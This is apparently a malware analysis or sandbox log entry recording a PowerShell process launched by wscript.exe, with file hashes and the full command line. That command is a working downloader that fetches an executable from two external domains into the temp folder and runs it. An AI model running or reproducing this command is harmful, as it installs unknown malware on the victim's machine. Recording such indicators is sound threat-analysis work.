f20d2285d2a1905b647176f8de9e99ce

C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
  Parentname:  C:\WINDOWS\system32\wscript.exe
  Command Line:  "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" Import-Module BitsTransfer;$shell = New-Object -ComObject wscript.shell;$random = new-object random;$urls = 'http://fatflat.tw/file/hit.njk,http://horestn.pl/file/pos.cvb'.split(',');$name = $random.next(1, 65536);$path = $env:temp + '\\' + $name + '.exe';foreach($url in $urls){try{$url = $url.tostring();Start-BitsTransfer -Source $url -Destination $path;$shell.run($path);break;}catch{write-host $_.exception.message;}}
  MD5:  df4217ddb34a0b73dc7aac7829371c0c
  SHA1: eef755c714ee355b9f483ede8753cddcf0684cd1